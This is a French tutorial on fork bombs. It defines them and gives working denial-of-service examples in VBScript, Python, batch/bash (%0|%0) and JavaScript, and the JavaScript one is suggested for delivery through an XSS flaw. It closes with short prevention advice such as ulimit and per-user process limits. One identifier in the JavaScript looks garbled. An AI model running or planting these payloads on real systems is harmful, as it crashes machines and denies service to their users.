Fork-Bomb

Ici chers lecteurs nous allons étudier les fork-bomb (et non nous ne verrons pas comment créer des bombes artisanales, non vous êtes dingue).

C'est quoi une fork-bomb, à quoi ça sert, comment en faire une ... Je m'efforcerai de répondre à ces questions durant cet article.

Définition :

Une fork bomb tire son nom de l'appel système standard fork (only on unix and unix like) qui a pour rôle de créer un processus (on parle de père et fils).

Une fork bomb est un petit (mais alors là très petit) programme informatique qui attaque la machine local dans le but de la faire planter. On parle d'un type de DOS (Denial of service => Dénis de service) hors ligne.

Cette attaque est particulièrement efficace du moment où pour que la victime stoppe son effet elle est obligée de redémarrer son système.

Donc une fork bomb est un petit logiciel dont le but est de créer autant de processus possible afin de saturer le système.

Programmation d'une fork-bomb :

Pour programmer une fork-bomb on peu utiliser n'importe quel langage du batch au bash, passant par le C/C++, python, perl, ruby, vb(6, s, .NET) et même HTML/JS.

Nous verrons quelques exemples ici dont le premier sera en vbs (only on windows) :

Code : vbs

function main ()
  with createObject ("WScript.Shell")
    while true : .run WScript.Arguments(0), 0, false
    wend
  end with
 
main=1
end function

WScript.quit (main ())

Ce programme boucle à l'infinie. Durant chaque tour de boucle il se lance lui même dans un autre processus (invisiblement bien entendu) et chaque nouveau processus fera la même chose.

Vous pouvez l'essayer chez vous à vos risques et périles.

L'exemple suivant est en python. Cette fork-bomb utilise la fonction fork (only on unix) :

Code : python

#!/usr/bin/env python

from os import * ;

while True : fork () ;

Je vous présente l'exemple (je pense très connu) en batch (only on windows) :

Code : batch
%0|%0

Cet exemple utilisait les pipes windows.

Pour que ça fonctionne en bash (linux) changer %0 par $0.

Bon en voilà un dernier pour la route, l'exemple en javascript. Le principe est simple. La plupart des nouoveaux navigateurs utilisant un système d'onglets crée un nouveau processus pour chaque nouvel onglet.

Vous en voyez tout de suite l'utilité je pense, sinon rien ne vaut un bel exemple :

Code : Javascript
window.onload=function () {
  while (true) {
    window.open (RubicusFrontendIns.location) ;
  }
}

C'est exploitable en local ou en ligne. Un cas d'exploitation sévit dans la faille XSS (voir ici pour les intéressé).

On a fait le tour.

Maintenant on va voir comment s'en prémunire.

Prévention :

Pour se protéger des fork bomb :

Sous UNIX et UNIX like :

La manière la plus simple est d'utiliser la commande ulimit qui permet de restraindre le nombre de processus par utilisateur.

Sous Windows :

Il suffit aussi de restraindre le nombre de processus par utilisateur ou encore utiliser un programme qui empêche un processus de se lancer plus d'une fois.

(bloque la navigation par onglet des navigateurs récents).